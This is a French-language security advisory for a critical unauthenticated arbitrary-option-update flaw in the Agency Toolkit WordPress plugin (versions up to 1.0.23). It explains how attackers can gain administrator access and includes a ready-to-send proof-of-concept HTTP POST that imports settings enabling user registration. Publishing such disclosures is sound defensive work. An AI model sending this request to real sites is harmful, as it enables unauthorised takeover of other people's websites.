NoCVE

Agency Toolkit <= 1.0.23 - Absence d'autorisation permettant la mise à jour arbitraire d'options sans authentification

Description

Le plugin Agency Toolkit pour WordPress est vulnérable à une modification non autorisée des données pouvant conduire à une élévation de privilèges en raison d'un contrôle de capacité manquant sur l'action 'agency_toolkit_import' dans toutes les versions jusqu'à la version 1.0.23 incluse. Cela permet à des attaquants non authentifiés de mettre à jour des options arbitraires sur le site WordPress. Cela peut être exploité pour définir le rôle par défaut pour l'enregistrement comme administrateur et activer l'enregistrement des utilisateurs afin que les attaquants puissent obtenir un accès administrateur à un site vulnérable.

Détails

Type: plugin
Slug: agency-toolkit
Version affectée: <= 1.0.23
Score CVSS: 9.8
Sévérité CVSS: Critique
Vecteur CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE: N/A
Statut: Actif

POC

POST /wp-admin/admin.php HTTP/2
Host: wp-dev.ddev.site
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
Content-Length: 485

------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="agency_toolkit_import"

1
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="import_file"; filename="settings.json"
Content-Type: application/json

[
   
    {
        "option_name": "users_can_register",
        "option_value": "1"
    }
]
------WebKitFormBoundaryABC123--

agency-toolkit-1023-missing-authorization-to-unauthenticated-arbitrary-options-update

Populaires